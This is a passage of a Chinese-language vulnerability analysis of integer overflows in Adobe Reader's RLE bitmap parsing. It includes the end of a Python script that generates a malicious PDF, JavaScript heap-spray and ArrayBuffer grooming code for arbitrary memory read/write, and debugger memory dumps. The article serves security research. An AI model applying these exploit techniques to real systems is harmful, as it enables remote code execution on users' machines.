    pdf_part2 = pdf_part2.replace('__IMAGE_BASE64_DATA__', image_data)
    pdf_part2 = zlib.compress(pdf_part2)

    pdf_part1 = pdf_part1.replace('__STREAM_LENGTH__', '%d' % len(pdf_part2))

    pdf_data = pdf_part1 + pdf_part2 + pdf_part3
    pdf_data = pdf_data.replace('__XREF_OFFSET__', '%d' % pdf_data.find('xref'))

    with open(pdf_path, 'wb') as f:
        f.write(pdf_data)

if __name__ == '__main__':
    if len(sys.argv) != 4:
        filename = os.path.basename(sys.argv[0])
        print 'Usage: %s <input.bmp> <template.pdf> <output.pdf>' % filename
        sys.exit(1)
    generate_pdf(sys.argv[1], sys.argv[2], sys.argv[3])

5.5 利用技巧

5.5.1 內存布局 (1)

這里借助 ArrayBuffer 來完成內存布局。

因為位圖解析過程中創建的堆塊大小為 0xF0 字節,因此 ArrayBufferbyteLength 可以設置為 0xE0 。為了創建內存空洞,可以先創建大量的 ArrayBuffer 對象,然后間隔釋放其中的一半對象,理想情況下的內存布局如下:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │     Hole    │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘
│ <-  0xF0 -> │

在觸發漏洞時,位圖解析相關的堆塊會落到其中一個空洞上:

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└─────────────┴─────────────┴─────────────┴─────────────┘

因為可以向低地址方向越界寫 0xF4 字節的 0x10 數據,所以觸發漏洞之后,ArrayBuffer 對象的 backing store 的內存布局如下:

0:014> dd 304c8398
;            -, byteLength, viewobj,       -,
304c8398  00000000 10101010 10101010 10101010
;         ArrayBuffer 數據
304c83a8  10101010 10101010 10101010 10101010
304c83b8  10101010 10101010 10101010 10101010
304c83c8  10101010 10101010 10101010 10101010
304c83d8  10101010 10101010 10101010 10101010
304c83e8  10101010 10101010 10101010 10101010
304c83f8  10101010 10101010 10101010 10101010
304c8408  10101010 10101010 10101010 10101010
304c8418  10101010 10101010 10101010 10101010
304c8428  10101010 10101010 10101010 10101010
304c8438  10101010 10101010 10101010 10101010
304c8448  10101010 10101010 10101010 10101010
304c8458  10101010 10101010 10101010 10101010
304c8468  10101010 10101010 10101010 10101010
304c8478  10101010 10101010 10101010 10101010 ; ArrayBuffer 結束
; 下一個堆塊的元數據(存儲位圖數據的堆塊)
304c8488  10101010 10101010
; 位圖數據
304c8490                    00000000 00000000

此時 ArrayBuffer 對象的 byteLength 被改成了 0x10101010 ,但是 DataView 對象的指針也被改成了 0x10101010 ,前面提到過這會導致進程崩潰。

5.5.2 內存布局 (0)

為了避免進程崩潰,需要提前在地址 0x10101010 上布局數據,讓這個地址看起來就是一個 DataView 指針。很明顯,為了漏洞利用更加穩定,我們需要一開始就在這里布局好數據。

同樣,這里借助 ArrayBuffer 實現精確的內存布局:

  • 創建大量 byteLength0xFFE8ArrayBuffer
  • 在特定內存范圍內,ArrayBufferbacking store 將有序的出現在地址 0xYYYY0048

之所以選擇 0xFFE8 ,是因為這會使得 backing store 所在堆塊整體的大小為 0x10000

// 0xFFE8 -> byteLength
// 0x10 -> sizeof ObjectElements
// 0x08 -> sizeof heap block's metadata
0xFFE8 + 0x10 + 0x08 = 0x10000

使用下面的代碼進行內存布局,可以有效防止進程崩潰(具體細節不作講解,相關條件很容易通過動態調試分析出來):

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);

    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

當然,這僅僅只能防止漏洞觸發后進程的崩潰,如果要為該 ArrayBuffer 關聯新的 DataView 來讀寫數據,那么會導致新的崩潰。同樣,填充一點新的數據就可以防止進程崩潰,新的代碼如下所示:

function fillHeap() {
    var array = new Array(0x1200);
    array[0] = new ArrayBuffer(0xFFE8);
    var dv = new DataView(array[0]);
    // 防止觸發漏洞之后進程立刻 Crash
    dv.setUint32(0xFB8, 0x10100058, true);
    dv.setUint32(0, 0x10100158, true);
    dv.setUint32(0xFFA8, 0x10100258, true);
    dv.setUint32(0x200 + 0x14, 0x10100358, true);
    // 防止關聯 DataView 對象時 Crash
    dv.setUint32(0xFFA4, 0x10100458, true);

    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}

5.5.3 全局讀寫

ArrayBuffer 對象的 byteLength 被改成 0x10101010 之后,可以基于這個 ArrayBuffer 對象修改下一個 ArrayBuffer 對象的 byteLength 。在基于 ArrayBuffer 創建內存空洞時,可以在每一個 ArrayBuffer 上存儲特定的標記值,這樣在內存中搜索 ArrayBuffer 對象就非常簡單了。

  (1)byteLength            (3)Global Access
 ┌─<───<───<───┐            <──────┬──────>
┌┼────────────┬┼────────────┬──────┼──────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │     Hole    │
└──────┼──────┴─────────────┴┼────────────┴─────────────┘
       └──>───>───>───>────>─┘
        (2) byteLength to -1

當下一個 ArrayBuffer 對象的 byteLength 被改成 0xFFFFFFFF 時,基于這個 ArrayBuffer 對象就可以實現用戶態空間的全局讀寫了。

5.5.4 任意地址讀寫

一旦擁有全局讀寫的能力,我們就可以向低地址方向來搜索特定的關鍵字來定位 ArrayBuffer 對象在內存中的絕對地址,然后基于這個絕對地址來實現任意地址讀寫。

這里可以通過搜索 ffeeffee 或者 f0e0d0c0 來定位,為了提高準確性,需要同時校驗關鍵字附近的數據的取值范圍。

0:014> dd 30080000
30080000  16b80e9e 0101331b ffeeffee 00000002  ; ffeeffee
30080010  055a00a4 2f0b0010 055a0000 30080000  ; +0x14 -> 30080000
30080020  00000fcf 30080040 3104f000 000002e5
30080030  00000001 00000000 30d69ff0 30d69ff0
30080040  3eb82e96 08013313 00000000 0000ffe8
30080050  00000000 00000000 10100158 00000000
30080060  00000000 00000000 00000000 00000000
30080070  00000000 00000000 00000000 00000000

0:014> dd 305f4000
305f4000  00000000 00000000 6ab08d69 0858b71a
305f4010  0bbab388 30330080 0ff00112 f0e0d0c0  ; f0e0d0c0
305f4020  15dc2c3f 00000430 305f402c d13bc929  ; +0x0C -> 305f402c
305f4030  e5c521a7 d9b264d4 919cee58 45da954e
305f4040  5c3f608b 2b5fd340 0bae3aa9 2b5fd340
305f4050  0fae32aa d13bc929 e5c521a7 d9b264d4
305f4060  919cee58 45da954e 9c3f608b f952aa94
305f4070  989c772a a1dd934a ac5b154b 2fadd038

5.5.5 剩余步驟

在擁有任意地址讀寫能力之后,實現代碼執行就是固定的套路了,本文對此不做詳細介紹。

剩余的步驟如下:

  • EIP 劫持
  • ASLR 繞過
  • DEP 繞過
  • CFG 繞過

0x06. CVE-2013-2729

前面提到一共找到了三處整數溢出,其中一處位于 RLE8 數據解析過程中,另外兩處位于 RLE4 數據解析過程中。難道不應該有四個位置存在整數溢出嗎?為什么只找到了三個?

因為有一個在六年前已經修復了(參考 feliam’s write up for CVE-2013-2729)!從版本 2019.012.20035 中的代碼也可以看到,確實有一個地方判斷了整數溢出的情況,這就是 CVE-2013-2729 引入的補丁。

dst_xpos = BYTE1(cmd) + xpos;
if ( ypos >= height || dst_xpos < xpos || 
     dst_xpos < BYTE1(cmd) || dst_xpos > width )  // overflow check
  goto LABEL_170;         // CxxThrowException

然而 Adobe 僅僅修補了報告的這一個位置,而忽略了其他三個位置上的整數溢出。

0x07. 經驗教訓

對廠商而言,在深入理解漏洞本質的同時,還可以看看是不是有類似的問題需要修復。

對安全研究人員而言,分析完漏洞之后還可以順便看一下廠商的修復方式,也許不經意間就能發現新的漏洞。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1033/